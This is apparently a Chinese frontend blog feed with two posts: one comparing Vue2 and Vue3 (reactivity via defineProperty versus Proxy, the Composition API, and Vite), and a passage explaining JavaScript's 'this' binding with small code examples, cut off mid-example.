<section><h2>Vue2 的缺陷和 Vue3 的改进<a href="#vue2-的缺陷和-vue3-的改进"><span>#</span></a></h2><section><h4>引入 TypeScript 类型支持<a href="#引入-typescript-类型支持"><span>#</span></a></h4><p>Vue2 基于 Flow.js 来做类型校验，而现在整个社区都在采用 TS 来构建基础库。因此 Vue3 不再使用 FaceBook 的 flow.js，用 TS 重构了，引入类型系统可以方便代码提示，同时可以让代码更健壮。</p></section><section><h4>响应式系统的进一步完善<a href="#响应式系统的进一步完善"><span>#</span></a></h4><p>Vue2 采用 defineProperty 的形式</p><p>defineProperty :</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>const</span><span> </span><span>obj</span><span> </span><span>=</span><span> {};</span></div></div><div><div><div>2</div></div><div><span>// 监听obj上的text属性</span></div></div><div><div><div>3</div></div><div><span><span>Object</span><span>.</span></span><span>defineProperty</span><span><span>(</span><span>obj</span><span>, </span></span><span>"text"</span><span>, {</span></div></div><div><div><div>4</div></div><div><span>  </span><span>get</span><span>:</span><span> </span><span>function</span><span> () {</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>"get val"</span><span>);</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>},</span></div></div><div><div><div>7</div></div><div><span>  </span><span>set</span><span>:</span><span> </span><span>function</span><span><span> (</span><span>newVal</span><span>) {</span></span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>"set val:"</span><span> </span><span>+</span><span><span> </span><span>newVal</span><span>);</span></span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>document</span><span>.</span><span>getElementById</span><span>(</span><span>"input"</span><span>).</span><span>value</span><span> </span><span>=</span><span><span> </span><span>newVal</span><span>;</span></span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>document</span><span>.</span><span>getElementById</span><span>(</span><span>"span"</span><span>).</span><span>innerHTML</span><span> </span><span>=</span><span><span> </span><span>newVal</span><span>;</span></span></div></div><div><div><div>11</div></div><div><span><span>  </span></span><span>},</span></div></div><div><div><div>12</div></div><div><span>});</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span>const</span><span> </span><span>input</span><span> </span><span>=</span><span><span> </span><span>document</span><span>.</span></span><span>getElementById</span><span>(</span><span>"input"</span><span>);</span></div></div><div><div><div>15</div></div><div><span><span>input</span><span>.</span></span><span>addEventListener</span><span>(</span><span>"keyup"</span><span>, </span><span>function</span><span><span> (</span><span>e</span><span>) {</span></span></div></div><div><div><div>16</div></div><div><span><span>  </span></span><span>obj</span><span>.</span><span>text</span><span> </span><span>=</span><span><span> </span><span>e</span><span>.</span></span><span>target</span><span>.</span><span>value</span><span>;</span></div></div><div><div><div>17</div></div><div><span>});</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><ul>
<li>
<p>defineProperty 是对属性进行拦截，因此 Vue2 所有的数据需要在 data 中声明</p>
</li>
<li>
<p>但是如果 data 中的数据为引用类型时，对数据的操作不会改变地址，比如数组虽然可以通过 Vue 重写过的 push 来实现视图更新，但是对于数组的长度修改还是无法实现，因此需要$set 等 API。以及对对象属性删除时也监听不到，需要额外去补充。</p>
</li>
</ul><p>而 Vue3 用的是 Proxy+Reflect：可以深度监听,但是不支持 IE11 以下浏览器</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>const</span><span> </span><span>input</span><span> </span><span>=</span><span><span> </span><span>document</span><span>.</span></span><span>getElementById</span><span>(</span><span>"input"</span><span>);</span></div></div><div><div><div>2</div></div><div><span>const</span><span> </span><span>p</span><span> </span><span>=</span><span><span> </span><span>document</span><span>.</span></span><span>getElementById</span><span>(</span><span>"p"</span><span>);</span></div></div><div><div><div>3</div></div><div><span>const</span><span> </span><span>obj</span><span> </span><span>=</span><span> {};</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>const</span><span> </span><span>newObj</span><span> </span><span>=</span><span> </span><span>new</span><span> </span><span>Proxy</span><span><span>(</span><span>obj</span><span>, {</span></span></div></div><div><div><div>6</div></div><div><span>  </span><span>get</span><span>:</span><span> </span><span>function</span><span><span> (</span><span>target</span><span>, </span><span>key</span><span>, </span><span>receiver</span><span>) {</span></span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>`getting </span><span>${</span><span>key</span><span>}</span><span>!`</span><span>);</span></div></div><div><div><div>8</div></div><div><span>    </span><span>return</span><span><span> </span><span>Reflect</span><span>.</span></span><span>get</span><span><span>(</span><span>target</span><span>, </span><span>key</span><span>, </span><span>receiver</span><span>);</span></span></div></div><div><div><div>9</div></div><div><span><span>  </span></span><span>},</span></div></div><div><div><div>10</div></div><div><span>  </span><span>set</span><span>:</span><span> </span><span>function</span><span><span> (</span><span>target</span><span>, </span><span>key</span><span>, </span><span>value</span><span>, </span><span>receiver</span><span>) {</span></span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>target</span><span>, </span><span>key</span><span>, </span><span>value</span><span>, </span><span>receiver</span><span>);</span></span></div></div><div><div><div>12</div></div><div><span>    </span><span>if</span><span><span> (</span><span>key</span><span> </span></span><span>===</span><span> </span><span>"text"</span><span>) {</span></div></div><div><div><div>13</div></div><div><span><span>      </span></span><span>input</span><span>.</span><span>value</span><span> </span><span>=</span><span><span> </span><span>value</span><span>;</span></span></div></div><div><div><div>14</div></div><div><span><span>      </span></span><span>p</span><span>.</span><span>innerHTML</span><span> </span><span>=</span><span><span> </span><span>value</span><span>;</span></span></div></div><div><div><div>15</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>16</div></div><div><span>    </span><span>return</span><span><span> </span><span>Reflect</span><span>.</span></span><span>set</span><span><span>(</span><span>target</span><span>, </span><span>key</span><span>, </span><span>value</span><span>, </span><span>receiver</span><span>);</span></span></div></div><div><div><div>17</div></div><div><span><span>  </span></span><span>},</span></div></div><div><div><div>18</div></div><div><span>});</span></div></div><div><div><div>19</div></div><div>
</div></div><div><div><div>20</div></div><div><span><span>input</span><span>.</span></span><span>addEventListener</span><span>(</span><span>"keyup"</span><span>, </span><span>function</span><span><span> (</span><span>e</span><span>) {</span></span></div></div><div><div><div>21</div></div><div><span><span>  </span></span><span>newObj</span><span>.</span><span>text</span><span> </span><span>=</span><span><span> </span><span>e</span><span>.</span></span><span>target</span><span>.</span><span>value</span><span>;</span></div></div><div><div><div>22</div></div><div><span>});</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><ul>
<li>
<p>真正的代理，拦截数据，但是对于数据格式不关心，统一都拦截(属性删除也可以)，还可以监听 Set, Map 等，这是 Vue2 无法做到的。</p>
</li>
<li>
<p>但是无法兼容 IE11 以下的浏览器。</p>
</li>
</ul></section><section><h4>上窜下跳 Option 式写法变为逻辑分离的 Composition<a href="#上窜下跳-option-式写法变为逻辑分离的-composition"><span>#</span></a></h4><p>Options API 有很严重的问题</p><ul>
<li>
<p>所有数据都挂载在当前实例的 this 上，这样的写法不利于 TypeScript 的类型推导，而且不好做 Tree-shaking(消除无用模块代码)清理代码。</p>
</li>
<li>
<p>代码行数多了以后需要反复上下横跳，开发起来体验比较痛苦。</p>
</li>
<li>
<p>代码不利于复用，Vue2 的组件比较难抽离通用逻辑，用 mixin 的话还会有命名冲突问题。</p>
</li>
</ul><p>Composition API 的好处：</p><ul>
<li>
<p>所有 API 都是通过 import 引入的，用到的功能才 import 进来，利于 Tree-shaking，便于优化包的大小。</p>
</li>
<li>
<p>代码易于复用，可以将一个功能所有的 methods，data 封装到一个独立函数中，复用变的容易。</p>
</li>
<li>
<p>Composition API 新增的 return 等语句，使用&lt;script setup&gt;的特性可以不用写。</p>
</li>
</ul><p>Options 和 Composition 的对比图</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/Image.png" alt="Image.png" title="Image.png" /><figcaption>Image.png</figcaption></figure><p></p><p>可以看到 Options API 当你处理一段功能逻辑时得上下横跳，尤其是代码段多起来以后非常烦。而 Vue3 的 Composition API 则在功能上是分离的，逻辑更清晰，代码也会更清爽。</p><p>对比一下 Vue2 使用的 Options API 和 Vue3 推荐的 Composition API</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/Image-20220426032431424.png" alt="Image.png" title="Image.png" /><figcaption>Image.png</figcaption></figure><p></p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/Image-20220426032431989.png" alt="Image.png" title="Image.png" /><figcaption>Image.png</figcaption></figure><p></p><p>可以看到 Composition API 显的有一些繁琐，不如 Options API 那样分方法、数据之类的清晰，但是可以发现，业务逻辑被分离了，可以一行注释将一部分业务逻辑包裹起来，这样更便于后期维护和迭代。</p></section><section><h3>新的内置组件<a href="#新的内置组件"><span>#</span></a></h3><p>Fragment: Vue3 不需要像 Vue2 一样 template 下必须有唯一根节点。</p><p>Teleport: <strong>允许组件渲染在别的元素内</strong>，主要在开发弹窗组件的时候特别有用。</p><p>Suspense: 异步组件(猜测和 React 的相似)，更<strong>便于开发有异步请求的组件</strong>。</p></section><section><h3>Vite 新一代工程化工具<a href="#vite-新一代工程化工具"><span>#</span></a></h3><p>复杂项目如果通过 webpack 预打包放内存中调试的话需要花费很多时间，而 vite 就是为了解决这样的时间消耗。</p><p>Vite 是基于现代浏览器默认支持 ES6 中 import 语法来实现的。具体是在调试环境下，不需要全部预打包，仅将首页依赖的文件依次通过网络请求去获取，让整个开发体验变得很好，对于<strong>复杂项目可以做到秒级调试和热更新</strong>。</p><p>::webpack 和 vite 对比::</p><p>webpack 需要将所有路由的依赖打包完毕后才可以调试</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/Image-20220426032432493.png" alt="Image.png" title="Image.png" /><figcaption>Image.png</figcaption></figure><p></p><p>vite 一开始仅需要加载首页的依赖模块，然后根据跳转路由时按需加载</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/Image-20220426032433006.png" alt="Image.png" title="Image.png" /><figcaption>Image.png</figcaption></figure><p></p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/frontend/javascript/this/</id>
      <title type="text">从执行上下文的角度讲解 this</title>
      <published>2021-11-06T00:00:00.000Z</published>
      <updated>2021-11-06T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/frontend/javascript/this/"/>
      <summary type="text">JavaScript 的作用域链由词法作用域决定，为什么还需要 this，以及 this 在不同执行上下文中的指向。</summary>
      <content type="html"><![CDATA[<section><h2>为什么要有 this?<a href="#为什么要有-this"><span>#</span></a></h2><p>先看一段代码</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span><span> </span><span>bar</span><span> </span></span><span>=</span><span> {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>myName</span><span>:</span><span> </span><span>"time.geekbang.com"</span><span>,</span></div></div><div><div><div>3</div></div><div><span>  </span><span>printName</span><span>:</span><span> </span><span>function</span><span> () {</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>myName</span><span>);</span></span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>},</span></div></div><div><div><div>6</div></div><div><span>};</span></div></div><div><div><div>7</div></div><div><span>function</span><span> </span><span>foo</span><span>() {</span></div></div><div><div><div>8</div></div><div><span>  </span><span>let</span><span><span> </span><span>myName</span><span> </span></span><span>=</span><span> </span><span>"极客时间"</span><span>;</span></div></div><div><div><div>9</div></div><div><span>  </span><span>return</span><span><span> </span><span>bar</span><span>.</span></span><span>printName</span><span>;</span></div></div><div><div><div>10</div></div><div><span>}</span></div></div><div><div><div>11</div></div><div><span>let</span><span><span> </span><span>myName</span><span> </span></span><span>=</span><span> </span><span>"极客邦"</span><span>;</span></div></div><div><div><div>12</div></div><div><span>let</span><span><span> </span><span>_printName</span><span> </span></span><span>=</span><span> </span><span>foo</span><span>();</span></div></div><div><div><div>13</div></div><div><span>_printName</span><span>();</span></div></div><div><div><div>14</div></div><div><span><span>bar</span><span>.</span></span><span>printName</span><span>();</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>按照常理来说，大多数语言在执行 bar.printName()的时候会输出 bar 对象中的 myName 而不是全局的 myName.而 JavaScript 却输出的是全局中的变量，<strong>这是因为 JavaScript 语言的作用域链是由词法作用域决定的，而词法作用域是由代码结构决定的</strong>。</p><p><strong>对象内部的方法要使用对象内部的属性是一个普遍的需求</strong>，<strong>但是 JavaScript 的作用域机制并不支持这一点</strong>，<strong>基于这个原因，JavaScript 又有一套 this 机制来处理</strong>。</p><p>如何让对象中的函数能读取到对象中的属性呢，改造一下上述代码</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span><span> </span><span>bar</span><span> </span></span><span>=</span><span> {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>myName</span><span>:</span><span> </span><span>"time.geekbang.com"</span><span>,</span></div></div><div><div><div>3</div></div><div><span>  </span><span>printName</span><span>:</span><span> </span><span>function</span><span> () {</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>this</span><span>.</span><span>myName</span><span>);</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>},</span></div></div><div><div><div>6</div></div><div><span>};</span></div></div><div><div><div>7</div></div><div><span>let</span><span><span> </span><span>myName</span><span> </span></span><span>=</span><span> </span><span>"全局作用域"</span><span>;</span></div></div><div><div><div>8</div></div><div><span><span>bar</span><span>.</span></span><span>printName</span><span>();</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这样就可以获取到了。</p><p><strong>首先你需要明白一件事，就是作用域链和 this 是两套不同的系统，两者之间没有太多的联系</strong></p></section>
<section><h2>this 是什么？<a href="#this-是什么"><span>#</span></a></h2><p>之前有说执行上下文中包括变量环境，词法环境和 outer，其实还包括了 this。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210808154914549.png" alt="image-20210808154914549.png" /><figcaption>image-20210808154914549.png</figcaption></figure><p></p><p>this 和执行上下文是绑定的，每个执行上下文中都有一个 this。</p><p>执行上下文包括三种:</p><ul>
<li>全局执行上下文</li>
<li>函数执行上下文</li>
<li>eval 执行上下文</li>
</ul><p>因此对应的 this 就有三种</p><ul>
<li>全局执行上下文中的 this</li>
<li>函数执行上下文中的 this</li>
<li>eval 中的 this</li>
</ul><p>eval 用的不多，主要用到的是全局执行上下文中的 this 和函数执行上下文中的 this</p><section><h3>全局执行上下文中的 this<a href="#全局执行上下文中的-this"><span>#</span></a></h3><p>全局执行上下文中的 this 是什么，可以在控制台中打印一下</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>this</span><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>实际输出的就是 window 对象，结论就是全局执行上下文中的 this 是指向 window 对象的，这也是 this 和作用域链唯一交点，作用域链最底端包含了 window 对象，全局执行上下文中的 this 也是指向 window 对象。</p></section><section><h3>函数执行上下文中的 this<a href="#函数执行上下文中的-this"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>foo</span><span>() {</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>this</span><span>);</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span>foo</span><span>();</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在 foo 函数内部打印出 this 值，发现函数执行上下文和全局执行上下文中的 this 都是指向 window 对象的。那可以设置函数执行上下文的 this 指向其他对象呢？是可以的，有三种方法可以用来设置函数执行上下文的 this 指向。</p></section><section><h3>通过函数的 call 方法设置函数的 this 指向<a href="#通过函数的-call-方法设置函数的-this-指向"><span>#</span></a></h3><p>可以通过 call 方法来设置函数的 this 指向，并立刻执行该函数，比如以下代码</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>foo</span><span>() {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>this</span><span>.</span><span>name</span><span> </span><span>=</span><span> </span><span>"foo"</span><span>;</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span><span>fooObj</span><span> </span></span><span>=</span><span> {</span></div></div><div><div><div>5</div></div><div><span>  </span><span>name</span><span>:</span><span> </span><span>"fooObj"</span><span>,</span></div></div><div><div><div>6</div></div><div><span>};</span></div></div><div><div><div>7</div></div><div><span><span>foo</span><span>.</span></span><span>call</span><span><span>(</span><span>fooObj</span><span>);</span></span></div></div><div><div><div>8</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>fooObj</span><span>); </span></span><span>//{name: "foo"}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>一般来说这个 this 是指向 window 的，可是 call 函数改变了 this 的指向将函数 foo 的 this 指向到了 fooObj，从而使 fooObj 的 name 属性值从 fooObj 变为了 foo。</p></section><section><h3>通过对象调用方法设置 this 指向当前对象<a href="#通过对象调用方法设置-this-指向当前对象"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span><span> </span><span>Obj</span><span> </span></span><span>=</span><span> {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>name</span><span>:</span><span> </span><span>"Obj"</span><span>,</span></div></div><div><div><div>3</div></div><div><span>  </span><span>getThis</span><span>:</span><span> </span><span>function</span><span> () {</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>this</span><span>);</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>},</span></div></div><div><div><div>6</div></div><div><span>};</span></div></div><div><div><div>7</div></div><div><span><span>Obj</span><span>.</span></span><span>getThis</span><span>(); </span><span>//{name: "Obj", getThis: ƒ}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>可以看到这样输出的 this 是指向当前对象的，可以得出一个结论，<strong>使用对象来调用其内部方法，这个方法的 this 是指向对象本身的</strong>。</p><p>也可以认为是 JavaScript 引擎在执行 myObject.showThis 的时候将其转换成了</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>obj</span><span>.</span></span><span>getThis</span><span>.</span><span>call</span><span><span>(</span><span>obj</span><span>);</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>那如果将对象中的函数赋给一个全局变量会怎么样。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span><span> </span><span>Obj</span><span> </span></span><span>=</span><span> {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>name</span><span>:</span><span> </span><span>"Obj"</span><span>,</span></div></div><div><div><div>3</div></div><div><span>  </span><span>getThis</span><span>:</span><span> </span><span>function</span><span> () {</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>this</span><span>);</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>},</span></div></div><div><div><div>6</div></div><div><span>};</span></div></div><div><div><div>7</div></div><div><span>var</span><span><span> </span><span>foo</span><span> </span></span><span>=</span><span><span> </span><span>Obj</span><span>.</span></span><span>getThis</span><span>;</span></div></div><div><div><div>8</div></div><div><span>foo</span><span>();</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>此时获取到的又是 window 对象了。</p><p>有两个结论</p><ul>
<li>全局环境中调用一个函数，函数内部的 this 指向全局变量 window</li>
<li>通过一个对象来调用其内部的方法，该方法的执行上下文中的 this 指向对象本身。</li>
</ul><p>也就是说如果是在全局执行一个函数，那这个函数 this 就指向全局，但如果是对象里面，那这个 this 就指向对象，只和这个函数执行的调用者有关。</p></section><section><h3>数组/对象通过原型链调用方法 将this指向调用对象<a href="#数组对象通过原型链调用方法-将this指向调用对象"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Array</span><span>.</span><span>prototype</span><span>.</span><span>logArr</span><span> </span><span>=</span><span> </span><span>function</span><span> () {</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>this</span><span>);</span></div></div><div><div><div>3</div></div><div><span>};</span></div></div><div><div><div>4</div></div><div><span>let</span><span><span> </span><span>arr</span><span> </span></span><span>=</span><span> [</span><span>1</span><span>, </span><span>2</span><span>, </span><span>3</span><span>];</span></div></div><div><div><div>5</div></div><div><span><span>arr</span><span>.</span></span><span>logArr</span><span>(); </span><span>// [1,2,3]</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在 Array 原型上声明方法,然后数组去调用方法时发现自己身上没有,就找到了原型身上,此时原型上的方法中的 this 就指向了当前的数组。</p></section><section><h3>通过构造函数中设置<a href="#通过构造函数中设置"><span>#</span></a></h3><p>比如说 new 一个对象</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>Person</span><span>() {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>this</span><span>.</span><span>name</span><span> </span><span>=</span><span> </span><span>"P"</span><span>;</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span>var</span><span><span> </span><span>p1</span><span> </span></span><span>=</span><span> </span><span>new</span><span> </span><span>Person</span><span>();</span></div></div><div><div><div>5</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>p1</span><span>); </span></span><span>//Person {name: "P"}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>你知道 JavaScript 引擎在 new 一个对象的过程中做了什么吗？</strong></p><ol>
<li>首先先创建一个空对象 p1，设置空对象的__proto__为构造函数的prototype</li>
<li>调用 Person.apply(p1, …args)，这样当 Person 的执行上下文创建的时候 this 就指向空对象 p1, args是构造函数入参</li>
<li>执行 Person 方法，因为此时 this 指向 p1，因此 p1 的 name=‘p’</li>
<li>返回 p1 这个对象</li>
</ol><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>myNew</span><span><span>(</span><span>Constructor</span><span>, </span></span><span>...</span><span><span>args</span><span>) {</span></span></div></div><div><div><div>2</div></div><div><span>  </span><span>// 1. 创建新对象，原型指向构造函数的 prototype</span></div></div><div><div><div>3</div></div><div><span>  </span><span>const</span><span> </span><span>obj</span><span> </span><span>=</span><span><span> </span><span>Object</span><span>.</span></span><span>create</span><span>(</span><span>Constructor</span><span>.</span><span>prototype</span><span>);</span></div></div><div><div><div>4</div></div><div><span>  </span><span>// 2. 执行构造函数，this 绑定到新对象</span></div></div><div><div><div>5</div></div><div><span>  </span><span>const</span><span> </span><span>result</span><span> </span><span>=</span><span><span> </span><span>Constructor</span><span>.</span></span><span>apply</span><span><span>(</span><span>obj</span><span>, </span><span>args</span><span>);</span></span></div></div><div><div><div>6</div></div><div><span>  </span><span>// 3. 如果构造函数返回对象，则返回该对象，否则返回新对象</span></div></div><div><div><div>7</div></div><div><span>  </span><span>return</span><span> (</span><span>typeof</span><span><span> </span><span>result</span><span> </span></span><span>===</span><span> </span><span>'object'</span><span> </span><span>&amp;&amp;</span><span><span> </span><span>result</span><span> </span></span><span>!==</span><span> </span><span>null</span><span>) </span><span>?</span><span><span> </span><span>result</span><span> </span></span><span>:</span><span><span> </span><span>obj</span><span>;</span></span></div></div><div><div><div>8</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>
<section><h2>this 的设计缺陷<a href="#this-的设计缺陷"><span>#</span></a></h2><section><h3>1.嵌套函数的 this 不会继承外层函数的 this<a href="#1嵌套函数的-this-不会继承外层函数的-this"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span><span> </span><span>Obj</span><span> </span></span><span>=</span><span> {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>name</span><span>:</span><span> </span><span>"Obj"</span><span>,</span></div></div><div><div><div>3</div></div><div><span>  </span><span>getThis</span><span>:</span><span> </span><span>function</span><span> () {</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>this</span><span>);</span></div></div><div><div><div>5</div></div><div><span>    </span><span>function</span><span> </span><span>bar</span><span>() {</span></div></div><div><div><div>6</div></div><div><span><span>      </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>this</span><span>);</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>8</div></div><div><span>    </span><span>bar</span><span>();</span></div></div><div><div><div>9</div></div><div><span><span>  </span></span><span>},</span></div></div><div><div><div>10</div></div><div><span>};</span></div></div><div><div><div>11</div></div><div><span><span>Obj</span><span>.</span></span><span>getThis</span><span>(); </span><span>//{name: "Obj", getThis: ƒ}</span></div></div><div><div><div>12</div></div><div><span>//Window ...</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>加工了一下上面的代码，在 getThis 中添加了一个方法 bar，这个 bar 的 this 指向是什么？你可能会觉得这个 this 指向的是 Obj，可是实际上函数 bar 的 this 指向的是全局的 window 对象，而 getThis 的 this 指向的是 Obj。这是 JavaScript 中很让人迷惑的事情，也是很多问题的源头。</p><p>如何解决这样的问题呢？怎么让 bar 中可以有变量指向 Obj？</p></section><section><h3><strong>一种方法可以将 getThis 中的 this 存储到一个 self 变量然后放到 bar 中</strong><a href="#一种方法可以将-getthis-中的-this-存储到一个-self-变量然后放到-bar-中"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span><span> </span><span>Obj</span><span> </span></span><span>=</span><span> {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>name</span><span>:</span><span> </span><span>"Obj"</span><span>,</span></div></div><div><div><div>3</div></div><div><span>  </span><span>getThis</span><span>:</span><span> </span><span>function</span><span> () {</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>this</span><span>);</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>self</span><span> </span><span>=</span><span> </span><span>this</span><span>;</span></div></div><div><div><div>6</div></div><div><span>    </span><span>function</span><span> </span><span>bar</span><span>() {</span></div></div><div><div><div>7</div></div><div><span><span>      </span></span><span>self</span><span>.</span><span>name</span><span> </span><span>=</span><span> </span><span>"bar"</span><span>;</span></div></div><div><div><div>8</div></div><div><span><span>      </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>self</span><span>);</span></span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>10</div></div><div><span>    </span><span>bar</span><span>();</span></div></div><div><div><div>11</div></div><div><span><span>  </span></span><span>},</span></div></div><div><div><div>12</div></div><div><span>};</span></div></div><div><div><div>13</div></div><div><span><span>Obj</span><span>.</span></span><span>getThis</span><span>(); </span><span>//{name: "Obj", getThis: ƒ}</span></div></div><div><div><div>14</div></div><div><span>//{name: "bar", getThis: ƒ}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>此时的 bar 的 self 指向了 Obj，修改 self 中的 name，让 Obj 也改变了，<strong>这个方法的本质是把 this 体系转换成了作用域体系</strong>。因为执行到 bar 的时候，bar 会沿着作用域链找 self 然后找到 getThis 上的 self，又因为 getThis 中将 this 赋值给了 self，所以就相当于 bar 取到了 getThis 的 this，这个 this 指向就是 Obj。</p></section><section><h3><strong>另一种方法是用 ES6 中的箭头函数来解决这个问题</strong><a href="#另一种方法是用-es6-中的箭头函数来解决这个问题"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span><span> </span><span>myObj</span><span> </span></span><span>=</span><span> {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>name</span><span>:</span><span> </span><span>"Obj"</span><span>,</span></div></div><div><div><div>3</div></div><div><span>  </span><span>showThis</span><span>:</span><span> </span><span>function</span><span> () {</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>this</span><span>);</span></div></div><div><div><div>5</div></div><div><span>    </span><span>var</span><span> </span><span>bar</span><span> </span><span>=</span><span> () </span><span>=&gt;</span><span> {</span></div></div><div><div><div>6</div></div><div><span>      </span><span>this</span><span>.</span><span>name</span><span> </span><span>=</span><span> </span><span>"bar"</span><span>;</span></div></div><div><div><div>7</div></div><div><span><span>      </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>this</span><span>);</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>};</span></div></div><div><div><div>9</div></div><div><span>    </span><span>bar</span><span>();</span></div></div><div><div><div>10</div></div><div><span><span>  